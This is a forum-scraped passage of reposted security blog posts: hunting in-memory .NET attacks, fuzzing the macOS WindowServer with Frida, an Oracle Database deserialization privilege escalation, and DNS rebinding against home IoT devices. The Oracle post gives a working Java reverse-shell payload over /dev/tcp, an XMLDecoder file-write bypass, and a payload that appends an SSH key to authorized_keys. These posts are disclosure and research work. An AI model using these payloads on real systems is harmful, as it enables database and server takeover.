injection calc.exe has loaded the PowerShell core library System.Management.Automation.ni.dll. This fact alone can be interesting, but a surprisingly large number of legitimate applications load PowerShell. Combining this with process network activity and looking for outliers across all your data may give you better mileage. Upon deeper inspection, we see something even more interesting. As shown below, memory section 0x2710000 contains a full .NET module (PE header present). The characteristics of the memory region are a bit unusual. The type is MEM_MAPPED, although there is no associated file mapping object (Note the âUseâ field is empty in ProcessHacker). Lastly, the region has a protection of PAGE_READWRITE, which surprisingly is not executable. These memory characteristics are a side effect of loading a memory-only module with the Assembly.Load(byte[]) method. To automate this type of hunt, I wrote a PowerShell function called Get-ClrReflection which looks for this combination of memory characteristics and will save any hits for further analysis. Below is sample output after running it against a workstation that was infected with Empire. Once again, you will see hits for legitimate applications that leverage the Assembly.Load function. One common false positive is for XmlSerializer generated assemblies. Standard hunt practices apply. Bucket your hits by process name or better yet with a fuzzy hash match. For example, ClrGuard (details next) will give you TypeRef hash with a â-fâ switch. Below is an example from Empire. Eventing-Based Detection Eventing based detecting is great because you wonât need luck that an adversary is active while you are hunting. It also gives you an opportunity to prevent attacker techniques in real-time. To provide signals into the CLR on which .NET runs, we developed and released ClrGuard. ClrGuard will hook into all .NET processes on the system. From there, it performs an in-line hook of the native LoadImage() function. This is what Assembly.Load() calls under the CLR hood. When events are observed, they are sent over a named pipe to a monitoring process for further introspection and mitigation decision. For example, Empireâs psinject function can be immediately detected and blocked in real-time as shown in the image below. In a similar manner, OilRigâs ISMInjector can be quickly detected and blocked. Another example below shows ClrGuard in action against Casey Smithâs universal.js tool. While we donât recommend you run ClrGuard across your enterprise (it is Proof of Concept grade), we hope it spurs community discussion and innovation against these types of .NET attacks. These sorts of defensive techniques power protection across the Endgame product, and an enterprise-grade ClrGuard-like feature will be coming soon. Conclusion It is important to thank those doing great offensive security research who are willing to publish their capabilities and tradecraft for the greater good of the community. The recent advancements in .NET in-memory attacks have shown that it is time for defenders to up their game and go toe-to-toe with the more advanced red teams and adversaries. We hope that ClrGuard and Get-ClrReflection help balance the stakes. These tools can increase a defenders optics into .NET malware activities, and raise visibility into this latest evolution of attacker techniques. Sursa: https://www.endgame.com/blog/technical-blog/hunting-memory-net-attacks
-
- 2
-
-
-
Cracking the Walls of the Safari Sandbox Fuzzing the macOS WindowServer for Exploitable Vulnerabilities July 25, 2018 / Patrick Biernat & Markus Gaasedelen When exploiting real world software or devices, achieving arbitrary code execution on a system may only be the first step towards total compromise. For high value or security conscious targets, remote code execution is often succeeded by a sandbox escape (or a privilege escalation) and persistence. Each of these stages usually require their own entirely unique exploits, making some weaponized zero-days a âchainâ of exploits. Considered high risk consumer software, modern web browsers use software sandboxes to contain damage in the event of remote compromise. Having exploited Apple Safari in the previous post, we turn our focus towards escaping the Safari sandbox on macOS in an effort to achieve total system compromise. Using Frida to fuzz the macOS WindowServer from the lockscreen As the fifth blogpost of our Pwn2Own series, we will discuss our experience evaluating the Safari sandbox on macOS for security vulnerabilities. We will select a software component exposed to the sandbox, and utilize Frida to build an in-process fuzzer as a means of discovering exploitable vulnerabilities. Software Sandboxes Software sandboxing is often accomplished by restricting the runtime privileges of an application through platform-dependent security features provided by the operating system. When layered appropriately, these security controls can limit the applicationâs ability to communicate with the broader system (syscall filtering, service ACLs), prevent it from reading/writing files on disk, and block external resources (networking). Tailored to a specific application, a sandbox will aggressively reduce the systemâs exposure to a potentially malicious process, preventing the process from making persistent changes to the machine. As an example, a compromised but sandboxed application cannot ransomware user files on disk if the process was not permitted filesystem access. A diagram of the old Adobe Reader Protected Mode Sandbox, circa 2010 Over the past several years we have seen sandboxes grow notably more secure in isolating problematic software. This has brought about discussion regarding the value of a theoretically perfect software sandbox: when properly contained does it really matter if an attacker can gain arbitrary code execution on a machine? The answer to this question has been hotly debated amongst security researchers. This discussion has been further aggravated by the contrasting approach to browser security taken by Microsoft Edge versus Google Chrome. Where one leads with in-process exploit mitigations (Edge), the other is a poster child for isolation technology (Chrome). As a simple barometer, the Pwn2Own results over the past several years seem to indicate that sandboxing is winning when put toe-to-toe against advanced in-process mitigations. There are countless opinions on why this may be the case, and whether this trend holds true for the real world. To state it plainly, as attackers we do think that sandboxes (when done right) add considerable value towards securing software. More importantly, this is an opinion shared by many familiar with attacking these products. THE (MEMORY CORRUPTION) SAFETY DANCE (13:25) at SAS 2017, by Mark Dowd However, as technology improves and gives way to mitigations such as strict control flow integrity (CFI), these views may change. The recent revelations wrought by Meltdown & Spectre is a great example of this, putting cracks into even the theoretically perfect sandbox. At the end of the day, both sandboxing and mitigation technologies will continue to improve and evolve. They are not mutually exclusive of each other, and play an important role towards raising the costs of exploitation in different ways. macOS Sandbox Profiles On macOS, there is a powerful low-level sandboxing technology called âSeatbeltâ which Apple has deprecated (publicly) in favor of the higher level âApp Sandboxâ. With little-to-no official documentation available, information on how to use the former system sandbox has been learned through reverse engineering efforts by the community (1,2,3,4,5, âŠ). To be brief, the walls of Seatbelt-based macOS sandboxes are built using rules that are defined in a human-readable sandbox profile. A few of these sandbox profiles live on disk, and can be seen tailored to the specific needs of their specific application. For the Safari browser, its sandbox profile is comprised of the following to files (locations may vary): /System/Library/Sandbox/Profiles/system.sb /System/Library/StagedFrameworks/Safari/WebKit.framework/Versions/A/Resources/com.apple.WebProcess.sb The macOS sandbox profiles are written in a language called TinyScheme. Profiles are often written as a whitelist of actions or services required by the application, disallowing access to much of the broader system by default. ... (version 1) (deny default (with partial-symbolication)) (allow system-audit file-read-metadata) (import "system.sb") ;;; process-info* defaults to allow; deny it and then allow operations we actually need. (deny process-info*) (allow process-info-pidinfo) ... For example, the sandbox profile can whitelist explicit directories or files that the sandboxed application should be permitted access. Here is a snippet from the WebProceess.sb profile, allowing Safari read-only access to certain directories that store user preferences on disk: ... ;; Read-only preferences and data (allow file-read* ;; Basic system paths (subpath "/Library/Dictionaries") (subpath "/Library/Fonts") (subpath "/Library/Frameworks") (subpath "/Library/Managed Preferences") (subpath "/Library/Speech/Synthesizers") ... Serving almost like horse blinders, sandbox profiles help focus our attention (as attackers) by listing exactly what non-sandboxed resources we can interface with on the system. This helps enumerate relevant attack surface that can be probed for security defects. Escaping Sandboxes In practice, sandbox escapes are often their own standalone exploit. This means that an exploit to escape the browser sandbox is almost always entirely unique from the exploit used to achieve initial remote code execution. When escaping software sandboxes, it is common to attack code that executes outside of a sandboxed process. By exploiting the kernel or an application (such as a system service) running outside the sandbox, a skilled attacker can pivot themselves into a execution context where there is no sandbox. The Safari sandbox policy explicitly whitelists a number of external software attack surfaces. As an example, the policy snippet below highlights a number of IOKit interfaces which can be accessed from the sandbox. This is because they expose system controls that are required by certain features in the browser. ... ;; IOKit user clients (allow iokit-open (iokit-user-client-class "AppleMultitouchDeviceUserClient") (iokit-user-client-class "AppleUpstreamUserClient") (iokit-user-client-class "IOHIDParamUserClient") (iokit-user-client-class "RootDomainUserClient") (iokit-user-client-class "IOAudioControlUserClient") ... Throughout the profile, entries that begin with iokit-* refer to functionality we can invoke via an IOKit framework. These are the userland client (interfaces) that one can use to communicate with their relevant kernel counterparts (kexts). Another interesting class of rules defined in the sandbox profile fall under allow mach-lookup: ... ;; Remote Web Inspector (allow mach-lookup (global-name "com.apple.webinspector")) ;; Various services required by AppKit and other frameworks (allow mach-lookup (global-name "com.apple.FileCoordination") (global-name "com.apple.FontObjectsServer") (global-name "com.apple.PowerManagement.control") (global-name "com.apple.SystemConfiguration.configd") (global-name "com.apple.SystemConfiguration.PPPController") (global-name "com.apple.audio.SystemSoundServer-OSX") (global-name "com.apple.analyticsd") (global-name "com.apple.audio.audiohald") ... The allow mach-lookup keyword depicted above is used to permit the sandboxed application access to various remote procedure call (RPC)-like servers hosted within system services. These policy definitions allow our application to communicate with these whitelisted RPC servers over the mach IPC. Additionally, there are some explicitly whitelisted XPC services: ... (deny mach-lookup (xpc-service-name-prefix "")) (allow mach-lookup (xpc-service-name "com.apple.accessibility.mediaaccessibilityd") (xpc-service-name "com.apple.audio.SandboxHelper") (xpc-service-name "com.apple.coremedia.videodecoder") (xpc-service-name "com.apple.coremedia.videoencoder") ... XPC is higher level IPC used to facilitate communication between processes, again built on top of the mach IPC. XPC is fairly well documented, with a wealth of resources and security research available for it online (1,2,3,4, âŠ). There are a few other interesting avenues of attacking non-sandboxed code, including making syscalls directly to the XNU kernel, or through IOCTLs. We did not spend any time looking at these surfaces due to time. Our evaluation of the sandbox was brief, so our knowledge and insight only extends so far. A more interesting exercise for the future would be to enumerate attack surface that currently cannot be restrained by sandbox policies. Target Selection Having surveyed some of the components exposed to the Safari sandbox, the next step was to decide what we felt would be easiest to target as a means of escape. Attacking components that live in the macOS Kernel is attractive: successful exploitation guarantees not only a sandbox escape, but also unrestricted ring-zero code execution. With the introduction of ârootlessâ in macOS 10.11 (El Capitan), a kernel mode privilege escalation is necessary to do things such as loading unsigned drivers without disabling SIP. The cons of attacking kernel code comes at the cost of debuggability and convenience. Tooling to debug or instrument kernel code is primitive, poorly documented, or largely non-existent. Reproducing bugs, analyzing crashes, or stabilizing an exploit often require a full system reboot which can be taxing on time and morale. After weighing these traits and reviewing public research on past Safari sandbox escapes, we zeroed in on the WindowServer. A complex usermode system service that was accessible to the Safari sandbox over the mach IPC: (allow mach-lookup ... (global-name "com.apple.windowserver.active") ... ) For our purposes, WindowServer appeared to be nearly an ideal target: Nearly every process can communicate with it (Safari included) It lives in userland, simplifying debugging and introspection It runs with permissions essentially equivalent to root It has a relatively large attack surface It has a notable history of security vulnerabilities WindowServer is a closed-source, private framework (a library) which implies developers are not meant to interface with it directly. This also means that official documentation is non-existent, and what little information is available publicly is thin, dated, or simply incomplete. WindowServer Attack Surface WindowServer works by processing incoming mach_messages from applications running on the system. On macOS, mach_messages are a form of IPC to enable communication between running processes. The Mach IPC is generally used by system services to expose a RPC interface for other applications to call into. Under the hood, virtually every GUI macOS application transparently communicates with the WindowServer. As hinted by its name, the WindowServer system service is responsible for actually drawing application windows to the screen. A running application will tell the WindowServer (via RPC) what size or shape to make the window, and where to put it: The WindowServer renders virtually all desktop applications on macOS For those familiar with Microsoft Windows, the macOS WindowServer is a bit like a usermode Win32k, albeit less-complex. It is also responsible for drawing the mouse cursor, managing hotkeys, and facilitating some cross-process communication (among other many other things). Applications can interface with the WindowServer over the mach IPC to reach some 600 RPC-like functions. When the privileged WindowServer system service receives a mach_message, it will be routed to its respective message handler (a âremote procedureâ) coupled with foreign data to be parsed by the handler function. A selection of WindowServer mach message handlers As an attacker, these functions prefixed with _X... (such as _XBindSurface) represent directly accessible attack surface. From the Safari sandbox, we can send arbitrary mach messages (data) to the WindowServer targeting any of these functions. If we can find a vulnerability in one of these functions, we may be able to exploit the service. We found that these 600 some handler functions are split among three MIG-generated mach subsystems within the WindowServer. Each subsystem has its own message dispatch routine which initially parses the header of the incoming mach messages and then passes the message specific data on to its appropriate handler via indirect call: RAX is a code pointer to a message handler function that is selected based on the incoming message id The three dispatch subsystems make for an ideal place to fuzz the WindowServer in-process using dynamic binary instrumentation (DBI). They represent a generic âlast hopâ for incoming data before it is delivered to any of the ~600 individual message handlers. Without having to reverse engineer any of these surface level functions or their unique message formats (input), we had discovered a low-cost avenue to begin automated vulnerability discovery. By instrumenting these chokepoints, we could fuzz all incoming WindowServer traffic that can be generated through normal user interaction with the system. In-process Fuzzing With Frida Frida is a DBI framework that injects a JavaScript interpreter into a target process, enabling blackbox instrumentation via user provided scripts. This may sound like a bizarre use of JavaScript, but this model allows for rapid prototyping of near limitless binary introspection against compiled applications. We started our Frida fuzzing script by defining a small table for the instructions we wished to hook at runtime. Each of these instructions were an indirect call (eg, call rax) within the dispatch routines covered in the previous section. // instructions to hook (offset from base, reg w/ call target) var targets = [ ['0x1B5CA2', 'rax'], // WindowServer_subsystem ['0x2C58B', 'rcx'], // Renezvous_subsystem ['0x1B8103', 'rax'] // Services_subsystem ] The JavaScript API provided by Frida is packed with functionality that allow one to snoop on or modify the process runtime. Using the Interceptor API, it is possible to hook individual instructions as a place to stop and introspect the process. The basis for our hooking code is provided below: function InstallProbe(probe_address, target_register) { var probe = Interceptor.attach(probe_address, function(args) { var input_msg = args[0]; // rdi (the incoming mach_msg) var output_msg = args[1]; // rsi (the response mach_msg) // extract the call target & its symbol name (_X...) var call_target = this.context[target_register]; var call_target_name = DebugSymbol.fromAddress(call_target); // ready to read / modify / replay console.log('[+] Message received for ' + call_target_name); // ... }); return probe; } To hook the instructions we defined earlier, we first resolved the base address of the private SkyLight framework that they reside in. We are then able to compute the virtual addresses of the target instructions at runtime using the module base + offset. After that it is as simple as installing the interceptors on these addresses: // locate the runtime address of the SkyLight framework var skylight = Module.findBaseAddress('SkyLight'); console.log('[*] SkyLight @ ' + skylight); // hook the target instructions for (var i in targets) { var hook_address = ptr(skylight).add(targets[i][0]); // base + offset InstallProbe(hook_address, targets[i][1]) console.log('[+] Hooked dispatch @ ' + hook_address); } During the installed message intercept, we now had the ability to record, modify, or replay mach message contents just before they are passed into their underlying message handler (an _X... function). This effectively allowed us to man-in-the-middle any mach traffic to these MIG subsystems and dump their contents at runtime: Using Frida to sniff incoming mach messages received by the WindowServer From this point, our fuzzing strategy was simple. We used our hooks to flip random bits (dumb fuzzing) on any incoming messages received by the WindowServer. Simultaneously, we recorded the bitflips injected by our fuzzer to create âreplayâ log files. Replaying the recorded bitflips in a fresh instance of WindowServer gave us some degree of reproducibility for any crashes produced by our fuzzer. The ability to consistently reproduce a crash is priceless when trying to identify the underlying bug. A sample snippet of a bitflip replay log looked like the following: ... {"msgh_bits":"0x1100","msgh_id":"0x7235","buffer":"000000001100000001f65342","flip_offset":[4],"flip_mask":[16]} {"msgh_bits":"0x1100","msgh_id":"0x723b","buffer":"00000000010000000900000038a1b63e00000000"} {"msgh_bits":"0x80001112","msgh_id":"0x732f","buffer":"0000008002000000ffffff7f","ool_bits":"0x1000101","desc_count":1} {"msgh_bits":"0x1100","msgh_id":"0x723b","buffer":"00000000010000000900000070f3a53e00000000","flip_offset":[12],"flip_mask":[2]} {"msgh_bits":"0x80001100","msgh_id":"0x722a","buffer":"0000008002000000dfffff7f","ool_bits":"0x1000101","desc_count":1,"flip_offset":[8],"flip_mask":[32]} ... In order for the fuzzer to be effective, the final step required us to stimulate the system to generate WindowServer message âtrafficâ. This could have been accomplished any number of ways, such as letting a user navigate around the system, or writing scripts to randomly open applications and move them around. But through careful study of pop culture and past vulnerabilities, we decided to simply place a weight on the âEnterâ key: 'Advanced Persistent Threat' On the macOS lockscreen, holding âEnterâ happens to generate a reasonable variety of message traffic to the WindowServer. When a crash occurred as a result of our bitflipping, we saved the replay log and crash state to disk. Conveniently, when WindowServer crashes, macOS locked the machine and restarted the service⊠bringing us back to the lockscreen. A simple python script running in the background sees the new WindowServer instance pop up, injecting Frida to start the next round of fuzzing. This was the lowest-effort and lowest-cost fuzzer we could have made for this target, yet it still proved fruitful. Discovery & Root Cause Analysis Leaving the fuzzer to run overnight, it produced a number of unique (mostly useless) crashes. Among the handful of more interesting crashes was one that looked particularly promising but would require additional investigation. We replayed the bitflip log for that crash against a new instance of WindowServer with lldb (the default macOS debugger) attached and were able to reproduce the issue. The crashing instruction and register state depicted what looked like an Out-of-Bounds Read: Process 77180 stopped * thread #1, queue = 'com.apple.main-thread', stop reason = EXC_BAD_ACCESS (address=0x7fd68940f7d8) frame #0: 0x00007fff55c6f677 SkyLight`_CGXRegisterForKey + 214 SkyLight`_CGXRegisterForKey: -> 0x7fff55c6f677 <+214>: mov rax, qword ptr [rcx + 8*r13 + 0x8] 0x7fff55c6f67c <+219>: test rax, rax 0x7fff55c6f67f <+222>: je 0x7fff55c6f6e9 ; <+328> 0x7fff55c6f681 <+224>: xor ecx, ecx Target 0: (WindowServer) stopped. In the crashing context, r13 appeared to be totally invalid (very large). Another attractive component of this crash was its proximity to a top-level \_X... function. The shallow nature of this crash implied that we would likely have direct control over the malformed field that caused the crash. (lldb) bt * thread #1, queue = 'com.apple.main-thread', stop reason = EXC_BAD_ACCESS (address=0x7fd68940f7d8) * frame #0: 0x00007fff55c6f677 SkyLight`_CGXRegisterForKey + 214 frame #1: 0x00007fff55c28fae SkyLight`_XRegisterForKey + 40 frame #2: 0x00007ffee2577232 frame #3: 0x00007fff55df7a57 SkyLight`CGXHandleMessage + 107 frame #4: 0x00007fff55da43bf SkyLight`connectionHandler + 212 frame #5: 0x00007fff55e37f21 SkyLight`post_port_data + 235 frame #6: 0x00007fff55e37bfd SkyLight`run_one_server_pass + 949 frame #7: 0x00007fff55e377d3 SkyLight`CGXRunOneServicesPass + 460 frame #8: 0x00007fff55e382b9 SkyLight`SLXServer + 832 frame #9: 0x0000000109682dde WindowServer`_mh_execute_header + 3550 frame #10: 0x00007fff5bc38115 libdyld.dylib`start + 1 frame #11: 0x00007fff5bc38115 libdyld.dylib`start + 1 Root cause analysis to identify the bug responsible for this crash took only minutes. Directly prior to the crash was a signed/unsigned comparison issue within _CGXRegisterForKey(...): Signed Comparison vulnerability in WindowServer WindowServer tries to ensure that the user-controlled index parameter is six or less. However, this check is implemented as a signed-integer comparison. This means that supplying a negative number of any size (eg, -100000) will incorrectly get us past the check. Our âfuzzedâ index was a 32bit field in the mach message for _XRegisterForKey(...). The bit our fuzzer flipped happened to be the uppermost bit, changing the number to a massive negative value: HEX | BINARY | DECIMAL ----------+----------------------------------+------------- BEFORE: 0x0000005 | 00000000000000000000000000000101 | 5 AFTER: 0x8000005 | 10000000000000000000000000000101 | -2147483643 ^ |- Corrupted bit Assuming we can get the currently crashing read to succeed through careful indexing to valid memory, there are a few minor constraints between us and what looks like an exploitable write later in the function: A write of unknown values (r15, ecx) can occur at the attacker controlled Out-of-Bounds index Under the right conditions, this bug appears to be an Out-of-Bounds Write! Any vulnerability that allows for memory corruption (a write) is generally categorized as an exploitable condition (until proven otherwise). This vulnerability has since been fixed as CVE-2018-4193. In the next post, we provide a standalone PoC to trigger this crash and detail the constraints that make this bug rather difficult to exploit while developing our full Safari sandbox escape exploit against the WindowServer. Conclusion Escaping a software sandbox is a necessary step towards total system compromise when exploiting modern browsers. We used this post to discuss the value of sandboxing technology, the standard methodology to escape one, and our approach towards evaluating the Safari sandbox for a means of escaping it. By reviewing existing resources, we devised a strategy to tackle the Safari sandbox and fuzz a historically problematic component (WindowServer) with a very simple in-process fuzzer. Our process demonstrates nothing novel, and that even contrived fuzzers are still able to find critical, real-world bugs. Sursa: http://blog.ret2.io/2018/07/25/pwn2own-2018-safari-sandbox/
-
- 1
-
-
Wednesday, July 18, 2018 Oracle Privilege Escalation via Deserialization TLDR: Oracle Database is vulnerable to user privilege escalation via a java deserialization vector that bypasses built in Oracle JVM security. Proper exploitation can allow an attacker to gain shell level access on the server and SYS level access to the database. Oracle has opened CVE-2018-3004 for this issue. Deserialization Vulnerabilities Java deserialization vulnerabilities have been all the rage for the past few years. In 2015, Foxglove security published an article detailing a critical security vulnerability in many J2EE application servers which left servers vulnerable to remote code execution. There have been a number published exploits relying on Java deserializations since the 2015 Foxglove article, many based on the ysoserial library. There have also been a number of CVEs opened, and patches issued to resolve these defects, including Oracle specific CVEs such as CVE-2018-2628, CVE-2017-10271, CVE-2015-4852 The majority of the published exploits focus on application servers vulnerable to deserialization attacks. Today, however, I would like to explore Oracle Database and how it is vulnerable to a custom deserialization attack based on the tight integration of Java via Java Stored Procedures in Oracle Database. The examples in this post were created using Oracle 12C, however, earlier versions of Oracle Database are also vulnerable. Java Stored Procedures Oracle Enterprise Edition has a Java Virtual Machine embedded into the database and Oracle Database supports native execution of Java via Java Stored Procedures. ? 1 2 3 create function get_java_property(prop in varchar2) return varchar2 is language java name 'java.name.System.getProperty(java.lang.String) return java.lang.String'; / Basic JVM Protections Of course if you have some level of familiarity with Java and penetration testing, you may immediately leap to the notion of creating a reverse shell compiled within Oracle Database: ? 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 SET scan off create or replace and compile java source named ReverseShell as import java.io.*; public class ReverseShell{ public static void getConnection(String ip, String port) throws InterruptedException, IOException{ Runtime r = Runtime.getRuntime(); Process p = r.exec(new String[]{"/bin/bash","-c","0<&126-;exec 126<>/dev/tcp/" + ip + "/" + port + ";/bin/bash <&126 >&126 2>&126"}); System.out.println(p.toString()); p.waitFor(); } } / create or replace procedure reverse_shell (p_ip IN VARCHAR2,p_port IN VARCHAR2) IS language java name 'ReverseShell.getConnection(java.lang.String, java.lang.String)'; / This approach will not work as the Oracle JVM implements fine grain policy-based security to control access to the OS and filesystem. Executing this procedure from a low-permissioned account results in errors. Note the error stack contains the missing permission and command necessary to grant the access: ? 1 2 ORA-29532: Java call terminated by uncaught Java exception: java.security.AccessControlException: the Permission (java.io.FilePermission /bin/bash execute) has not been granted to TESTER. The PL/SQL to grant this is dbms_java.grant_permission( 'TESTER', 'SYS:java.io.FilePermission','/bin/bash', 'execute' ) There have been previously reported methods to bypass the built-in Java permissions which will not be discussed in this post. Instead I am going to demonstrate a new approach to bypassing these permissions via XML deserialization. XML Deserialization XML serialization and deserializtion exist in Java to support cross platform information exchange using a standardized industry format (in this case XML). To this end, the java.beans library contains two classes: XMLEncoder and XMLDecoder which are used to serialize a Java object into an XML format and at a later time, deserialize the object. Typical deserialization vulnerabilities rely on the existence of a service that accepts and deserializes arbitrary input. However, if you have access to a low-privileged Oracle account that can create objects in the user schema (i.e., a user with connect and resource) you can create your own vulnerable deserialization procedure. As the "TESTER" user, I have created the following Java class "DecodeMe" and a Java Stored Procedure that invokes this class: ? 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 create or replace and compile java source named DecodeMe as import java.io.*; import java.beans.*; public class DecodeMe{ public static void input(String xml) throws InterruptedException, IOException { XMLDecoder decoder = new XMLDecoder ( new ByteArrayInputStream(xml.getBytes())); Object object = decoder.readObject(); System.out.println(object.toString()); decoder.close(); } } ; / CREATE OR REPLACE PROCEDURE decodeme (p_xml IN VARCHAR2) IS language java name 'DecodeMe.input(java.lang.String)'; / The decodeme procedure will accept an arbitrary string of XML encoded Java and execute the provided instructions. Information on the proper format for the serialized XML can be found here. This block will simply call println to output data to the terminal. ? 1 2 3 4 5 6 7 8 9 10 BEGIN decodeme('<?xml version="1.0" encoding="UTF-8" ?> <java version="1.4.0" class="java.beans.XMLDecoder"> <object class="java.lang.System" field="out"> <void method="println"> <string>This is test output to the console</string> </void> </object> </java>'); END; / The Vulnerability Of course we don't need a deserialization process to print output to the console, so how exactly is this process vulnerable? It turns out that the deserialization process bypasses JVM permission settings and allows a user to arbitrarily write to files on the OS. See the following example script: ? 1 2 3 4 5 6 7 8 9 10 11 12 13 14 BEGIN decodeme(' <java class="java.beans.XMLDecoder" version="1.4.0" > <object class="java.io.FileWriter"> <string>/tmp/PleaseDoNotWork.txt </string> <boolean>True</boolean> <void method="write"> <string>Why for the love of god?</string> </void> <void method="close" /> </object> </java>'); END; / Executing this anonymous block creates a file named "PleaseDoNotWork.txt" in the /tmp folder: Therefore via deserialiazation, we can write arbitrary files to the file system, bypassing the built-in security restrictions. Exploitation As it turns out, we can not only write new files to the system, we can also overwrite or append any file on which the Oracle user has write permissions. Clearly this has severe ramifications for the database, as an attacker could overwrite critical files - including control files - which could result in a successful Denial of Service attack or data corruption. However, with a carefully crafted payload, we can use this deserialization attack to gain access to the server as the Oracle user. Assuming SSH is open on the server and configured to accept RSA connections, the following payload will append an RSA token to the Oracle account that manages the database processes. BEGIN AUTHKEY ? 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 BEGIN decodeme(' <java class="java.beans.XMLDecoder" version="1.4.0"> <object class="java.io.FileWriter"> <string>/home/oracle/.ssh/authorized_keys</string> <boolean>True</boolean> <void method="write"> <string>ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCedKQPeoJ1UeJEW6ZVkiuWAxBKW8F4fc0VrWxR5HEgaAcVodhgc6X7klyOWrJceGqICcCZd6K+/lvI3xaE2scJpRZWlcJQNCoZMRfmlhibq9IWMH0dm5LqL3QMqrXzZ+a2dfNohSdSmLDTaFHkzOGKEQIwHCv/e4e/eKnm0fUWHeL0k4KuCn3MQUN1HwoqoCciR0DrBDOYAKHxqpBv9rDneCdvaS+tqlr5eShjNlHv1YzJGb0lZZlsny19is8CkhcZ6+O+UCKoBPrxaGsfipsEIH5aPu9xVA90Xgsakhg4yoy9FLnES+xmnVxKX5GHyixi3qeWGDwBsAvhAAGLxOc5 </string> </void> <void method="close" /> </object> </java> '); END; / When executed, the code will append an arbitrary RSA key to the Oracle users authorized_keys file, granting an attack SSH access as the Oracle user. The Oracle user can access the database as SYS and the attacker has effectively compromised the entire database. Impact As Oracle Database has a high per instance cost, many production architectures rely on a shared-tennant model, where multiple mission applications leverage the same database, and application support users share access to the same system. Furthermore, Oracle Exadata implementations often host multiple database instances on the same severs. If a low privileged user, perhaps a tier-III support admin for a specific application, were to deploy this exploit, they could effectively gain access to the data and applications supporting an entire enterprise. Conclusion As we can see the deserialization design pattern implemented in java continues to create a myriad of vulnerabilities. Security analysts should look beyond J2EE based deserializiation attacks and consider attack vectors based on other embedded implementations. Reporting Timeline. This issue was first reported to Oracle Support in January 2018, and was addressed in the July 2018 CPU released on July 17th, 2018. Update: Navigating the intricacies of Oracle patches can be quite the challenge. The Oracle bug for this vulnerability is Bug 27923353, and the patch is for the OJVM system. For this POC, the proper patch is OJVM release update 12.2.0.1.180717 (p27923353_122010_Linux-x86-64.zip) Sursa: http://obtruse.syfrtext.com/2018/07/oracle-privilege-escalation-via.html
-
- 1
-
-
Attacking Private Networks from the Internet with DNS Rebinding TL;DR Following the wrong link could allow remote attackers to control your WiFi router, Google Home, Roku, Sonos speakers, home thermostats and more. The home WiFi network is a sacred place; your own local neighborhood of cyberspace. There we connect our phones, laptops, and âsmartâ devices to each other and to the Internet and in turn we improve our lives, or so we are told. By the late twenty teens, our local networks have become populated by a growing number of devices. From smart TVs and media players to home assistants, security cameras, refrigerators, door locks and thermostats, our home networks are a haven for trusted personal and domestic devices. Many of these devices offer limited or non-existent authentication to access and control their services. They inherently trust other machines on the network in the same way that you would inherently trust someone youâve allowed into your home. They use protocols like Universal Plug and Play (UPnP) and HTTP to communicate freely between one another but are inherently protected from inbound connections from the Internet by means of their routerâs firewall. They operate in a sort of walled garden, safe from external threat. Or so their developers probably thought. A few months ago, I began to follow a winding path of research into a 10 year-old network attack called DNS rebinding. Put simply, DNS rebinding allows a remote attacker to bypass a victimâs network firewall and use their web browser as a proxy to communicate directly with devices on their private home network. By following the wrong link, or being served a malicious banner advertisement, you could inadvertently provide an attacker with access to the thermostat that controls the temperature in your home. NOTE: This research has been simultaneously released with a counterpart WIRED article on the subject by Lily Hay Newman. What is DNS Rebinding? To better understand how DNS rebinding works itâs helpful to first understand the security mechanism that it evades; the web browserâs same-origin policy. Many moons ago, browser vendors decided it probably wouldnât be a good idea for web pages served from one domain to be able to make arbitrary requests to another domain without explicit permission from that second domain. If you follow a malicious link on the web, the web page you arrive at shouldnât be able to make an HTTP request to your bank website and leverage your logged in-session there to empty your account. Browsers restrict this behavior by limiting HTTP requests originating from a domain to access only other resources that are also located on that domain (or another domain that explicitly enables cross-origin resource sharing). DNS can be abused to trick web browsers into communicating with servers they donât intend to. The code at http://malicious.website canât make a standard XMLHttpRequest to http://bank.com/transfer-fund because malicious.website and bank.com are different domains and therefor the browser treats them as separate origins. Browsers enforce this by requiring that the protocol, domain name, and port number of a URL being requested is identical to the URL of the page requesting it. Sounds good, right? Not so fast. Behind every domain name lies an IP address. malicious.website may reside at 34.192.228.43 and bank.com may call 171.159.228.150 home. The Domain Name System (DNS) provides a useful mechanism of translating easy-to-remember domain names into the IP addresses that our computerâs actually use to talk to each other. The catch is that modern browsers use URLs to evaluate same-origin policy restrictions, not IP addresses. What would happen if the IP address of malicious.website were to quickly changed from 34.192.228.43 to the IP address of 171.159.228.150? According to the browser, nothing would have changed. But now, instead of communicating with the server that originally hosted the website files at malicious.website, your browser would actually be talking to bank.com. See the problem? DNS can be abused to trick web browsers into communicating with servers they donât intend to. DNS rebinding has received a few brief moments of attention over the past year when vulnerabilities were found in a few popular pieces of software. Most notably, Blizzardâs video games, the Transmission torrent client, and several Ethereum cryptocurrency wallets were vulnerable to DNS rebinding attacks until recently. In just the wrong circumstance, the Ethereum Geth vulnerability could have given a remote attacker full-control of the victimâs Ethereum account, and with it, all of their coin. DNS rebinding allows a remote attacker to bypass a victimâs network firewall and use their web browser as a proxy to communicate directly with devices on their private home network. How DNS Rebinding works An attacker controls a malicious DNS server that answers queries for a domain, say rebind.network. The attacker tricks a user into loading http://rebind.network in their browser. There are many ways they could do this, from phishing to persistent XSS or by buying an HTML banner ad. Once the victim follows the link, their web browser makes a DNS request looking for the IP address of rebind.network. When it receives the victimâs DNS request, the attacker controlled DNS server responds with rebind.networkâs real IP address, 34.192.228.43. It also sets the TTL value on the response the be 1 second so that the victimâs machine wonât cache it for long. The victim loads the web page from http://rebind.network which contains malicious JavaScript code that begins executing on the victimâs web browser. The page begins repeatedly making some strange looking POST requests to http://rebind.network/thermostatwith a JSON payload like {âtmodeâ: 1, âa_heatâ: 95}. At first, these requests are sent to the attackerâs web server running on 34.192.228.43, but after a while (browser DNS caching is weird) the browserâs resolver observes that the DNS entry for rebind.network is stale and so it makes another DNS lookup. The attackerâs malicious DNS server receives the victimâs second DNS request, but this time it responds with the IP address 192.168.1.77, which happens to be an IP address of a smart thermostat on the victimâs local network. The victimâs machine receives this malicious DNS response and begins to point to HTTP requests intended for http://rebind.network to 192.168.1.77. As far as the browser is concerned nothing has changed and so it sends another POST to http://rebind.network/thermostat. This time, that POST request gets sent to the small unprotected web server running on the victimâs WiFi-connected thermostat. The thermostat processes the request and the temperature in the victimâs home is set to 95 degrees đ„. This scenario is an actual exploit (CVE-2018â11315) that 